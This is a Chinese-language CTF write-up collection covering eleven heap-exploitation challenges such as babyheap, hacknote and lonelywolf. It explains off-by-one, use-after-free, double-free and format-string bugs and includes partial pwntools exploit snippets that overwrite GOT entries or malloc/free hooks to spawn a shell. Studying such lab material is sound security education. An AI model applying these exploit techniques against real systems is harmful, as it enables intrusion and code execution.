PWN-几个简单堆题
1.hitcontraining_heapcreator
一次add函数先申请固定0x10大小的chunk,又申请一个可控大小的chunk,其中第一个固定chunk的数据段存放第二个chunk的大小和第二个chunk的数据地址。
show函数会通过固定chunk块的数据地址找到固定chunk块打印内容。
漏洞点:edit编辑的时候,会读入size+1个字节,存在off-by-one漏洞。
漏洞利用:
- 通过off-by-one漏洞在修改chunk0时修改chunk1的size字段为较大字段0x81,此时free(1)再malloc(0x70)会将free掉的chunk1申请回来,并且申请回来的是0x80大小的chunk,这0x80大小的chunk是覆盖chunk2的,这样就实现了通过chunk1可以溢出到chunk2的内容(因为正常申请和释放是控制不到那个固定chunk块的,edit只能修改包含data的那个自定义chunk块)
- 修改chunk2的固定chunk块的chunk地址为free的got表地址,这样show调用时会打印处got表地址存放的内容,也就是free在libc中的真实地址,进而得到system地址。
- 得到了system的地址,接下来将free_got表内容替换成system,执行free就是执行system,由于edit(2)是向chunk2的固定chunk块中的数据地址处写内容,因此替换成free got表后就是向free got中写内容了,直接改为system,并且在之前chunk0中写入“/bin/sh”,free(0)获取shell
exp:
1 | edit(0,'/bin/sh\x00'+p64(0)*2+'\x81') |
2.babyfengshui_33c3_2016
add函数中首先申请一个自定义大小chunk,之后申请一个固定0x80大小的chunk,自定义chunk中存放数据,固定chunk中存放自定义chunk的地址和chunk name。
free函数会首先free掉自定义chunk,再free掉含chunk name的chunk。
edit函数中存在一个对填充size的判断,即固定chunk地址+chunk size < chunk name地址时才可输入数据,意思就是最多只能输入chunk的size大小的数据。但该判断中存在漏洞,由于free的时候首先free上方的chunk,再free下方的chunk,free下方的chunk时会与上方的chunk进行合并。此时再malloc一个合并大小的size,那么自定义chunk回到原位置,固定chunk重新申请,位于heap最高处。
例如:
1 | add(0x80,"nam1",0x80,"aaaa") |
由于该原因,我们自定义chunk和包含name的chunk并不一定相邻,因此通过该方法之后,一个chunk块位于最上方,另一个chunk name块位于最下方,我们可以edit的size很大,就存在了堆溢出。
之后,利用堆溢出修改chunk1_name中存储的chunk1地址为free_got,调用show(1)就可以打印出free_got的真实地址,进而得到system地址,之后同上题,edit也是向name_chunk的数据地址中写内容,即向free_got表中写内容,直接修改为system,并在之前chunk2布置好”/bin/sh”,调用free(2)即执行system(“/bin/sh”)
exp:
1 | add(0x80,"nam1",0x80,"aaaa") |
3.0ctf_2017_babyheap
add函数申请一块自定义大小的chunk,程序中存在一个结构体:分别存放是否已申请,chunk大小以及chunk的地址。
1 | *(list + i) = 1; |
edit函数未检查输入大小,存在堆溢出。
show函数打印chunk size大小的数据。
利用思路:
首先申请chunk1、2、3
通过修改chunk1的size大小为chunk1_size + chunk2_size,free(1)再malloc(chunk1_size + chunk2_size),chunk1会申请回远处,但此时chunk1 size为chunk1_size + chunk2_size,因此chunk1包含了chunk2,此时show(1)可以打印出chunk2的内容。
因为add是调用的alloc,申请chunk1时chunk2内容包括大小以被清0,因此要重新为chunk2大小复制,通过chunk1还原chunk2的size(unsorted bin size >= 0x80)。
利用unsorted bin leak 通过free(2)将chunk2的fd显示出main_arean地址,通过show(1)打印出chunk2的内容,即main_arena地址,获取libcbase,再获取one_gadget地址。
接着利用fastbin attack(原理类似double free attack),申请两块chunk4、5,free(5),修改5的fd为target_addr即malloc_hook-0x23处的fake_chunk,申请chunk5,再次申请即可申请到target_chunk,修改malloc_hook为one_gadget,调用add获取shell。
exp:
1 | alloc(0x80) #chunk 0 |
4.pwnable_hacknote
add中:申请一块内存,指向puts函数,之后再该位置+8处再申请一块size大小的内存填充数据。
1 | *(&list + i) = malloc(0x10uLL); |
free中:删除+8位置chunk再删除该chunk。
1 | free(*((void **)*(&list + i) + 1)); |
show中:调用指向的puts函数。
1 | *(void (__fastcall **)(_QWORD))*(&list + i))(*(&list + i)); |
利用:
原理:add一次会申请两块内存,分别存放puts函数和输入的数据,由于第一块内存永为0x20,因此我们输入的数据chunk大小为不等0x20块。这样申请完并且f’ree后:
fastbin中:
此时,malloc一个chunk会首先申请到0x20的第一个chunk,由于输入大小为0x10,因此我们填入的数据段的chunk即为0x20中的第二个chunk,因为fast bin chunk 中链表为 chunk1->chunk0,所以我们填入的数据段就是chunk0的puts函数段,修改puts函数的参数地址为free_got地址,show调用即可打印出free_got真实地址,进而获取到system地址。
之后,再次delete后add(通过这种方式实现edit修改内容),修改puts函数地址为system函数地址,puts参数地址为binsh,由于system参数需要是binsh地址,所以直接写入”/bin/sh“不行,但是使用连续执行多条命令的’ ; ‘,第一条执行错误会被忽略,然后执行下一条,因此可以成功将content位置覆盖成 ‘;sh\0’或||sh,同样的然后show(chunk1)就能执行system(‘sh’)得到shell了。
1 | add(0x20,'aaaa') |
5.
edit函数存在漏洞,当输入的size == chunk size + 10时,可以输入size + 1个字节数据,即存在off-by-one漏洞。
开始同3.babyheap,首先edit(0)将chunk1的size改大到可以覆盖chunk2,由于只能溢出1个字节,因此不可能修改size为大于0x100,而unsorted bin leak泄露main_arena地址必须要chunk_size > 0x80,因此,申请chunk1的size为0x10,申请chunk2的size为0x90,修改chunk1的size为0xa1,此时,由于chunk1_addr + 0xa1位置为0,不满足free chunk时的检查机制(即free(1)时,chunk2的pre_size和size要合法),因此再通过edit(2)可以控制到chunk1的最后,也就是检查的下一个chunk的pre_size和size。
1 | add(0x18) |
之后,就可以free(1)了,free(1)之后chunk1包含了chunk2,由于同样是alloc,所以需要先恢复chunk2的size字段,之后free(2),通过chunk1打印出chunk2 fd位置的main_arena地址,进而获取one_gadget地址。
最后,通过fastbin dump,首先修改chunk2的size为0x71,之后free(2)将chunk2链入fastbin,并经过edit(1)修改chunk2的fd为target_addr(即malloc_hook - 0x23),这样add(0x60)两次就得到了target_addr,就可以将malloc_hook修改为one_gadget了。
但是,有个问题,如下四个one_gadget条件均不满足,
1 | 0x45216 execve("/bin/sh", rsp+0x30, environ) |
对于最后一个rsp+0x70,查看rsp发现rsp+0x70处内容不为0,因此会失败。
解决方法:
当向__malloc_hook写one_gadget时,如果不满足one_gadget的条件时,而我们的环境不太好调整,所以无法getshell。
我们可以通过__malloc_hook和realloc_hook相配合的方法来使得one_gadget生效。
realloc函数在函数起始会检查realloc_hook的值是否为0,不为0则跳转至realloc_hook指向地址。
realloc_hook同malloc_hook相邻,故可通过fastbin attack一同修改两个值。
观察一下realloc_hook值不为0时realloc函数过程。
将realloc_hook设置为选择好的one_gadget,将malloc_hook设置为realloc函数开头某一push寄存器处。push和pop的次数是一致的,若push次数减少则会压低堆栈,改变栈环境。这时one_gadget就会可以使用。具体要压低栈多少要根据环境决定,这里我们可以进行小于48字节内或72字节的堆栈调整。
exp:
1 | payload = b'a'*11 + p64(one_gadget)+p64(realloc_hook + 4) |
完整exp:
1 | add(0x18) |
6.ciscn_2019_final_3
libc2.27,add和del函数,add中会打印heap_addr,del没有指针置0,存在double free。
add:
del:
利用思路:
- 由于保护全开,got表不可改,因此泄露libc修改malloc_hook为one_gadget。
- 泄露libc主要通过unsorted bin attack泄露,由于有tcache,因此需要free一个size>0x410的chunk,但add最大可以申请0x78的chunk,因此可以通过double free修改chunk的size段为0x421
- 首先add11个chunk,方便后续修改size后可以覆盖到,之后double free(10)会将chunk 10并入tcache,此时add一个size_10的chunk,修改fd为heap_addr - 0x10,这样就可以通过double free修改chunk0的size字段为0x421,之后free(0)实现unsorted bin free。
- 同时free chunk1链入tcache中,add(0x78)会将chunk0申请回来,并且chunk1会保留其余0x3a1大小的chunk,且chunk1的fd也会保存main_arean的地址,此时add chunk1将chunk1从tcache中申请回来,就可以读取chunk1的fd内容,获取libc基址。
由于没有show函数,需要通过add时打印的heap_addr获取main_arena地址,因此add(14,0x78,’e’)时不只将chunk1的fd变成了main_arean的地址,由于此时tcache也指向了chunk1,因此fd改变后tcache中变成了chunk1->main_arena,两次add后,申请到main_arena地址处chunk,同时打印出main_arena地址。
add(14,0x78,’e’)之前:
add之后:
- 之后再次double free修改malloc_hook为one_gadget。
exp:
1 | heap = add(0,0x78,'a')#0 |
7.hitcon_2018_children_tcache
libc2.27
add:
show:
del:
利用思路:
漏洞点在add的strcpy中,strcpy会在复制完数据后添加一个\x00,因此会将next chunk的size字段的pre_in_use置0,方便我们进行chunk的合并。
但free时会将data段全部填充为0xD0,因此pre_size字段也会被填充,而我们要free进行合并就必须满足free的chunk的pre_size字段为0,且pre_in_use为0,因此需要多次add,每次add的size递减,这样通过strcpy会将要被free的chunk的pre_size字段逐渐清空为0,即可free合并。
该图是free0和free1后,程序将chunk2的pre_size字段全部填充为了0xda,由于pre_size段不为0,所以pre_in_use也不为空,因此我们需要申请9次,每次申请的字节递减1,分别将pre_in_use以及pre_size的8个字节都清空。
exp:
1 | for i in range(9): |
清空后:
之后再add一次0x68,将pre_size置为0x580(chunk0_size + chunk1_size) , 这样free(chunk2)即可和chunk0以及chunk1进行合并,之后通过申请部分,即可通过未释放的指针打印出main_arena。
合并后申请0x500,会对合并的那个unsorted bin chunk切分,其余的进入next chunk的位置,此时该next chunk为之前申请的0x68的索引0的,因此show(0)可打印地址。
还需要注意的是,del时会将索引也情况,所以add后索引会变化的。
具体思路:首先通过strcpy添加x00的功能清空pre_size和pre_in_use,使得满足free chunk合并,之后unsorted bin泄露libc,最后double free替换malloc_hook为one_gadget。
exp:
1 | add(0x500,'a')#0 |
8.ciscn_2019_final_5
pie未开,got表可写,难点在于libc的泄露(需要修改free_got为puts_plt,还要构造参数puts_got)。
add:
add中,首先输入index和size,之后申请一块内存,并且将buf和size进行位或运算后存入6020e0数组中,size存入602180中。
edit:
edit中,首先输入索引,并且循环6020e0数组,将数组里的堆地址与0xf进行位与运算后得到的等于索引的那一个进行读取,例如,索引为1,0x6020e0前两个元素中为0x602048和0x602041,则执行read(0,0x602040,size)的操作。
del:
del同edit,都是根据0x6020e0处内容与索引进行free。
利用思路:
- 漏洞点在于索引处,当索引为0x10时,程序会向6020e0处存入堆地址 + 0x10,通过edit可以多溢出0x10个字节,因此可以覆盖chunk1的fd为0x6020e0,这样就可以申请到0x6020e0处的地址了(为什么要控制这一块,因为free函数的参数是根据0x6020e0处的内容结合索引值运算得到的)
申请到之后依次修改为
1
p64(atoi_got)+p64(puts_got)+p64(free_got)+p64(0)*17+p32(0x10)*4 //p32(0x10)*4 是为了填充size字段。
修改完成后:
之后,通过 edit(8,p64(0)+p64(0x400790)) 修改free_got表为puts_plt。
修改后:
此时,edit(8)及执行read(0,0x602010,size)操作,0x602018处为free_got地址,因此通过**edit(8,p64(0) + p64(elf.plt[“puts”]))**可以将free_got内容修改为puts_plt地址。此时执行free(0)
由于free与edit一样参数是索引相与的结果,因此free(0)执行的就是puts(0x602020),也就是
puts(puts_got),即可打印出puts的地址,进而得到libc地址。
之后,同样修改atoi_got表内容为system地址,edit(1)即可修改0x602070处内容,0x602078为atoi,修改为system。
完整exp:
1 | heap_list = 0x6020e0 |
9.[CISCN 2021 初赛]lonelywolf
ubuntu18,tcache dump。
add:
add中,申请一块chunk,202050存size,buf存chunk_addr。
edit:
edit中,修改内容,无溢出。
show:
show中,会打印chunk_addr的地址。
del:
del中,未将指针置空,存在uaf和double free。
注意:本题所有的索引只有为0时才进行相关操作,因此函数中默认发送索引0即可,并且buf只会存一个地址,后来add的chunk会取代之前add的chunk,索引0指向最新add的chunk。
利用思路:
由于存在double free,且程序不允许add大于0x78的chunk,got表不可写,因此考虑通过double free申请到tcache_struct的0x251的chunk,free(tcache_struct)到unsorted bin中泄露libc。
需要注意的是,题目是2.27-3ubuntu1.4版本的,对double free的chunk进行了tcache->key的检查,因此double free前需要先通过uaf修改bk为0,之后double free。通过show打印出heap - 0x260得到tcache_struct地址。
1
2
3
4
5
6
7
8
9
10add(0x78) #等价于add(0,0x78)
free() #free(0)
edit(p64(0)*2) #edit(0,p64(0) * 2)
free()
show()
io.recvuntil("Content: ")
heap = u64(io.recv(6).ljust(8,b'\x00')) - 0x260之后,修改fd为tcache_struct + 0x10,两次add后申请到tcache_struct + 0x10处,由于tcache最多存7个,因此修改0x250处个数为7,这样free时就会把tcache_struct _chunk free到unsorted bin,进而泄露libc。
1
2
3
4
5
6
7
8
9
10
11
12
13edit(p64(heap + 0x10))
add(0x78)
add(0x78)
edit(b'\x00'*35 + b'\x07')
free()
show()
io.recvuntil("Content: ")
malloc_hook = u64(io.recv(6).ljust(8,b'\x00')) - 96 - 0x10得到libc后,修改free_hook为system,首先修改tcache_struct的指针段,修改0x20和0x30分别为free_hook以及heap + 0x260,并填充size字段分别为01,之后add(0x10)申请到free_hook填充为system,add(0x20)申请到heap + 0x260填充binsh,free(0)执行system(“/bin/sh”)。
1
2
3
4
5
6
7
8
9
10
11
12edit(b'\x01\x01' + b'\xff'*0x3e + p64(free_hook) + p64(heap + 0x260))
gdb.attach(io)
pause()
add(0x10)
edit(p64(system))
add(0x20)
edit(b"/bin/sh\x00")
free()
10.[祥云杯 2021]note
libc2.23,add、show、edit三个功能函数。其中add会返回堆地址,show没用,edit中存在scanf格式化字符串漏洞。
利用思路:
题目中没有可供利用的函数用来泄露libc,因此考虑打stdout泄露libc,首先查看栈发现在scanf的第七个参数位置存在stdout地址,因此修改该地址的flag使缓冲区打开,进而输出_IO_file_jumps的地址,查找libc表获取libc基地址以及one_gadget。
1
2
3
4
5
6
7heap_base = add(0x60,"aaaa") - 0x10
payload1 = b"%7$s\x00\x00\x00\x00" //第一次输入格式化字符串,%7$s表示修改第七个参数stdout
payload2 = p64(0xfbad1800) + p64(0) * 3 //修改stdout的flag为0xfbad1800
edit(payload1,payload2)
_IO_file_jumps = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))同样的方法修改malloc_hook为one_gadget,不过要通过realloc调节rsp满足条件。
1
2
3
4
5
6
7one_gadget = libcbase + 0x4527a
malloc_hook = libcbase + libc.sym["__malloc_hook"]
realloc = libcbase + libc.sym["realloc"]
payload1 = b"%7$s\x00\x00\x00\x00" + p64(malloc_hook - 8) //第七个参数写成malloc_hook-8即realloc_hook 地址
payload2 = p64(one_gadget) + p64(realloc + 12) //realloc_hook改为one_gadget,malloc_hook 改为realloc+12
edit(payload1,payload2)其中,realloc+12表示push一次(通过ida查看libc中的realloc),可以看到rsp+0x30的位置不为0,但rsp+0x8(图中红线位置划错了,)的位置为0,因此通过少push五次使rsp-0x28。
完整exp:
1 | from pwn import * |
11.第十五届蓝桥杯网络安全 ezheap
libc2.31题目,保护全开。
提供了add、delete、show三个常规函数以及一个magic函数,其中delete中清空指针不存在uaf,add中不存在溢出,并且add中默认申请0x50 size,即size不可控。
漏洞点在magic中,magic也是free函数,不过存在uaf,但只能使用一次。
add:
magic:这里注意magic在菜单里是2106373,为7个字符,my_read也是读取7个字符,因此发送2106373时不能使用sendline,因为最后加的0a会被转换为0传给magic的索引,即如果用sendline的话,magic会默认free(0)。
利用思路:
1、由于只能利用一次uaf,且程序中add的size不可控,因此考虑通过uaf修改size(>0x400),free后获取libc。
2、之后通过overlap修改free_hook为system。
具体步骤:
1、首先通过两次add,两次free,再两次add的方式,将堆地址存放在fd上,并通过show泄露出heap_base。
2、填充满tcache bin(2-8),之后通过magic(0),free(1),free(0)的方式,三次free到fastbin中,在fastbin中形成0->1->0(因为tcache会对free(0-1-0)形式的double free检测,今次这里考虑fastbin利用)。
3、通过double free修改chunk0的fd为target(这里的target为chunk0到chunk1中间,用于后边的overlap利用),并且在target处伪造fake_size(0x431)用来free进入unsorted bin,进而泄露libc。
1 | add(p64(heap_base + 0x2c0)) #7 |
图中chunk13即为0x2c0位置。
4、由于tcache在add的时候不检查申请内存处的size是否合法,因此add(0x50)其实是申请到了0x431大小的chunk。
5、free(13),将改chunk链入unsortdbin,再add一次通过unsortdbin切割并保留main_arena地址的方式泄露得到libc。
注:这里在free这个伪造size的chunk之前需要在0x2c0 + 0x430 = 0x6e0的位置上伪造一个fake_size(0x31)用来绕过free对next_chunk_size的检测。
1 | free(13) |
6、free(12),free(13),add(13),通过13修改12的fd,构造tcache bin attack。
1 | free(11) |
7、最后free获取shell。
完整exp:
1 | from pwn import * |